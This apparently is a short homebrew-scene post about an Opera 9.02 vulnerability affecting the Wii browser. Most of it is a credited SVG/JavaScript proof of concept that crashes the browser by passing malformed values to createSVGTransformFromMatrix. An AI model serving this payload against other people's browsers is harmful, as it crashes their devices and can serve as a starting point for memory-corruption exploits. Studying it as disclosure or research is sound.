There's a new Opera vulnerability out for 9.02 (the version the Wii runs) that it appears the wii is susceptible to as well. The vulnerability disclosure is
here
Test it out here. This will crash your Wii. Browse your wii to this site and
then click this link
The code was created by Jumper and is as follows:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg id="mySVG" width="100%" height="100%" version="1.1"
xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100"
style="fill:rgb(0,0,255);stroke-width:1;
stroke:rgb(0,0,0)"/>
<script>
var svg = document.getElementById("mySVG");
var matrix = svg.createSVGMatrix();
var i=0xffffffff, randomObject = {a:i,b:i,c:i,d:i,e:i,f:i};
try{
svg.createSVGTransformFromMatrix(matrix);
}catch(e){}
try{
svg.createSVGTransformFromMatrix(randomObject);
}catch(e){}
try{
svg.createSVGTransformFromMatrix(null);
}catch(e){}
try{
svg.createSVGTransformFromMatrix(i);
}catch(e){}
try{
svg.createSVGTransformFromMatrix(new Array(i));
}catch(e){}
</script>
</svg>